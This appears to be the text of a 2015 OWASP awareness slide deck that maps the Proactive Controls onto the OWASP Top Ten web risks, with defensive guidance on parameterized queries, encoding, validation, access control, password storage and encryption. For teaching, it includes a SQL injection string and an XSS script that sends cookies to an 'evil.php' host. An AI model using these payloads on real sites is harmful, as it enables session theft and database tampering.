Owasp top-ten-mapping-2015-05-lwc

OWASP Top Ten Mapping

Katy Anton@katyanton

Katy Anton

• Software developer by background

• Certified Secure Software Lifecycle Practitioner (CSSLP)

• OWASP volunteer

• https//www.linkedin.com/in/katyanton

• @katyanton

OWASP Top 10 Risks A1 - Injection

A2 - Broken Authentication and Session Management

A3 - Cross Site Scripting ( XSS )

A4 - Insecure Direct Object References

A5 - Security Misconfiguration

A6 - Sensitive Data Exposure

A7 - Missing Function Level Access Control

A8 - Cross-Site Request Forgery (CSRF)

A9 - Using Components with Known Vulnerabilities

A10- Unvalidated Redirects and Forwards

Software Development Lifecycle

Design Build Test Production

Vulnerability Scanning

Security testing, dynamic testing

tools

Coding guidelines, code reviews, static

test tools

Security requirements, secure

design, threat modelling

reactiveproactive

Warning

This is an awareness document - that will give you some anchors - that you can start using on a regular basis - and start building on.

You cannot base a web application on Top 10 only!

C1. Parameterize queries

Query parameterization prevents untrusted input from being interpreted as part of a SQL command:

$sql = Update users set email=‘$email’ where id=1;

C1: Example of SQL injection

$email=‘;- - @owasp.org;

$sql = UPDATE user set email=‘$email’ WHERE id=‘1’;

http://owasp.org/

C1: Example of SQL injection

UPDATE user SET email=‘’; -- @owasp.org' WHERE id=‘1’

C1 Control: Data Access Layer

PHP: Example of Query Parametrisation

$email = $_REQUEST[‘email’];$id = $_REQUEST[‘id’];

$stmt = $dbh->prepare(”Update users set email=:new_email where id=:user_id”);

$stmt->bindParam(':new_email', $email);$stmt->bindParam(':user_id', $id);

Proactive Control Risk(s) prevented

C1: Parameterize Queries

Leverage to Data Access Layer how parameters are interpreted before executing SQL.

A1 Injection

Injection flaws, such as SQL injection occur when untrusted data is sent to an interpreter as part of a command or query.

C2. Encode data before using a parser

C2: Example of XSS

<script type=“text/javascript”> var adr = ‘http://myaddress.com/evil.php? stolencookies=‘ + escape(document.cookie);

var img = new Image();

img.src = adr;</script>

http://myaddress.com/evil.php?

C2: Mechanisms for encodingChange from

<

C2: Mechanisms for encodingChange from

< to

<

C2: Resources

Reform Project Java, .NET v1/v2, PHP, Python, Perl, JavaScripthttps://www.owasp.org/index.php/Category:OWASP_Encoding_Project

Java/Scala (Updated January 2015)https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

https://www.owasp.org/index.php/Category:OWASP_Encoding_Project

https://www.owasp.org/index.php/Category:OWASP_Encoding_Project

https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

https://www.owasp.org/index.php/OWASP_Java_Encoder_Project


C2: Encode Data

Encode data before use in a parser ( JS, CSS , XML )

A1 Injection

Injection flaws, such as SQL injection occur when untrusted data is sent to an interpreter as part of a command or query.

A3 XSSXSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

C3. Validate all input

C3: Example of Validations

• GET / POST data• File upload validate ( file extension, mime type,

size)• HTTP Headers, cookies


C3: Validate all inputs

For web applications this includes:• GET and POST parameters:• File uploads• any or all of this data could be manipulated

by an attacker.

• A1 Injection • A3 XSS• A10 Unvalidated redirects and

forwards

C4. Implement appropriate Access Control

C4: Access Control good practices

• Deny by default

• Force all requests to go through access control checks

• Check on the server when each function is accessed


C4: Implement Appropriate Access Controls

• Deny by default• Force all requests to go through access

control checks• Check on the server when each function is

accessed

A4-Insecure Direct Object ReferencesA direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check, attackers can manipulate these references to access unauthorised data.

A7-Missing Function Level Access ControlAttackers will be able to forge requests in order to access functionality without proper authorization.

C5. Establish Authentication and Identity Controls

1). Protection: Password storage

1) Use cryptographically strong credential-specific salt

• protect( [salt] + [password] );• Use a 32char or 64char salt;• Do not depend on hiding, splitting, or otherwise

obscuring the salt.

1). Protection: Password storage

2) Impose difficult verification on the attacker and defender •PBKDF2([salt] + [password], c=100,000);

•Cryptgraphic recommendations:• PBKDF2 (Password-Based Key Derivation 2) • bcrypt• scrypt

1). Protection: Password storage Resources:

https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet



2). Protection: multi-factor authentication

Multi-factor authentication - a combination of:•Something you know – password or PIN•Something you own – token, smart card or phone

•Something you are – biometrics ( fingerprint )

3). Protection: Forgot Password

Forgot password design:

1). Ask one or more security questions

2) Send the user a randomly generated token via:

app, SMS

3). Verify code in same web session.

4). Change password.

More details on: https://www.owasp.org/index.php/Forgot_Password_

Cheat_Sheet

https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet

https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet


C5: Establish Identity and Authentication Controls

• Design ( password storage) • Multi-factor authentication • Design ( forgot password )

A2-Broken Authentication and Session Management

Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities.

C6. Data Protection and Privacy

C6 Controls: Data in transitData in transit: HTTPS

• Confidentiality: Spy cannot view your data• Integrity: Spy cannot change your data• Authenticity: Server you are visiting is the right one

HTTPS configuration best practices• https://www.owasp.org/index.php/Transport_Layer

_Protection_Cheat_Sheet Data at rest

https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet

https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet

C6 Controls: Data at rest 1. Algorithm

• AES (Advanced Encryption Standard )2. Secure key management3. Adequate access controls and auditing

Resources:• https://www.owasp.org/index.php/Cryptographic_Stor

age_Cheat_Sheet

• https://www.ssllabs.com/ssltest/index.html

https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet

https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet

https://www.ssllabs.com/ssltest/index.html


C6: Data Protection and privacy

• Data encryption at rest• Data encryption in transit

A6: Sensitive Data Exposure

Sensitive data needs extra protection such as encryption at rest or in transit, as well as special precautions when exchanged with the browser.


C1: Parameterize Queries Leverage to Data Access Layer how parameters are interpreted before executing SQL.

• A1 Injection

• A10 Unvalidated redirects and forwards




• A1 Injection

• A10 Unvalidated redirects and forwardsC2: Encode DataEncode data before use in a parser ( JS, CSS , XML )

• A1 Injection• A3 XSS




• A1 Injection



C3: Validate all inputs • A1 Injection • A3 XSS• A10 Unvalidated redirects and forwards




• A1 Injection




C4: Implement Appropriate Access Controls • A4 Insecure Direct Object References• A7 Missing Function Level Access Control




• A1 Injection





C5: Establish Identity and Authentication ControlsPassword storage / Multi-factor authentication / Forgot password design

• A2 Broken Authentication and Session Management




• A1 Injection





C5: Establish Identity and Authentication ControlsPassword storage / Multi-factor authentication / Forgot password design

• A2 Broken Authentication and Session Management

C6: Data Protection and privacyData encryption at rest / in transit

• A6 Sensitive Data Exposure


C7. Logging, Error Handling and Intrusion Detection


C7: Implement Logging, Error Handling and Intrusion Detection

A1-InjectionA2-Broken Authentication and Session ManagementA3 XSSA4-Insecure Direct Object ReferencesA5-Security MisconfigurationA6-Sensitive Data ExposureA7-Missing Function Level Access ControlA8-Cross-Site Request Forgery (CSRF)A9-Using Components with Known VulnerabilitiesA10-Unvalidated Redirects and Forwards

C8. Leverage Security Features of Frameworks and Security Libraries


C8: Leverage Security Features of Frameworks and Security Libraries

For example:• Choose a good database ORM• Choose a framework with already build-in good access control• Choose a framework that already has integrated CSRF


C9.Security Requirements

C9: Security Requirements Functional requirements > visible to QA and testable > E.q: forgot password workflow, re-authentication during

change password

Non-Functionals requirements : > invisible to QA, not easily testable> E.q: query parametrization, password storage crypto


C9: Security Requirements

Example of security requirements:• Integrity requirements• Availability requirements • Authentication & authorization

requirements• Confidentiality requirements• Auditing and logging requirements• Session management requirements• Errors and exception management

requirements• Configuration parameters requirements• Archiving requirements• Legal and Compliance Constraints


C10. Security Architecture and Design

C10: Security Architecture and Design Principles

Secure design principles: • Least Privilege = minimum access level for minimum amount of time• Separation of duties• Defence of depth. E.q.:

• input validation + parameterize queries • input validation + output encoding

• Fail secure. E.q.:• user access denied after maximum number of failed logins reached• errors and exception handling; store error details in database, give user only

the reference ID• Complete mediation. E.q.:

• centralise access control checks • centralise input validation


C10: Security Architecture and Design

Secure design principles: • Least Privilege• Separation of duties• Defence of depth• Fail secure• Complete mediation• Open design


Thank you

Questions